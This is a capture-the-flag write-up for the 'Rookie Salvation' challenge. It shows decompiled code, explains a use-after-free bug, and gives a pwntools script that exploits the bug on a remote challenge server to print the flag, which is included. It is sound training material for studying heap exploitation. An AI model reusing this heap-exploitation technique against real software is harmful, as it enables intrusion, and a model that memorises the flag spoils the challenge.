# Rookie Salvation

Decompile in IDA:

```
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d

  banner(argc, argv, envp);
  allocated_space = malloc(0x26u);
  strcpy((char *)allocated_space + 0x1E, "deadbeef");
  while ( 1 )
  {
    v3 = menu();
    if ( v3 == 3 )
      road_to_salvation();
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      reserve_space();
    }
    else
    {
      if ( v3 != 2 )
        break;
      obliterate();
    }
  }
  fail((unsigned int)&unk_32E8, (_DWORD)argv, v4, v5, v6, v7);
}

void __noreturn road_to_salvation()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  FILE *stream; // [rsp+8h] [rbp-48h]
  char s[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v10; // [rsp+18h] [rbp-38h]
  __int64 v11; // [rsp+20h] [rbp-30h]
  __int64 v12; // [rsp+28h] [rbp-28h]
  __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+48h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  if ( !strcmp((const char *)allocated_space + 30, "w3th4nds") )
  {
    success((unsigned int)&unk_2F98, (unsigned int)"w3th4nds", v0, v1, v2, v3);
    *(_QWORD *)s = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    stream = fopen("flag.txt", "r");
    if ( !stream )
      fail((unsigned int)&unk_2FF8, (unsigned int)"r", v4, v5, v6, v7);
    fflush(stdin);
    fgets(s, 48, stream);
    printf("%sH%s\n", "\x1B[0m", s);
    fflush(stdout);
    exit(0);
  }
  fail((unsigned int)&unk_3118, (unsigned int)"w3th4nds", v0, v1, v2, v3);
}

unsigned __int64 __fastcall reserve_space(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v11; // [rsp+Ch] [rbp-14h] BYREF
  void *v12; // [rsp+10h] [rbp-10h]
  unsigned __int64 v13; // [rsp+18h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  info((unsigned int)&unk_3240, a2, a3, a4, a5, a6);
  fflush(stdout);
  v11 = 0;
  __isoc99_scanf("%d", &v11);
  v12 = malloc(v11);
  info((unsigned int)&unk_3288, (unsigned int)&v11, v6, v7, v8, v9);
  fflush(stdout);
  __isoc99_scanf("%s", v12);
  return v13 - __readfsqword(0x28u);
}

unsigned __int64 obliterate()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  free(allocated_space);
  return v1 - __readfsqword(0x28u);
}
```

There is a use after free bug: we can free the space pointed by `allocate_space`, and allocate space of the same size, so the same pointer is returned by `malloc`. We can write the correct payload to it to pass the validation to get flag.

Attack:

```
from pwn import *

elf = ELF("./rookie_salvation")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")

# p = process("./rookie_salvation")
p = remote("46.101.142.27", 32369)

# gdb.attach(p)
# pause()

# free the allocated space
p.recvuntil(b"> ")
p.sendline(b"2")

# reallocate the same sized chunk
p.recvuntil(b"> ")
p.sendline(b"1")
# length: 0x26
p.sendline(b"38")
# content:
p.sendline(b"A" * 30 + b"w3th4nds")

# get flag
p.recvuntil(b"> ")
p.sendline(b"3")

p.interactive()
```

Flag: `HTB{h34p_2_h34v3n}`.
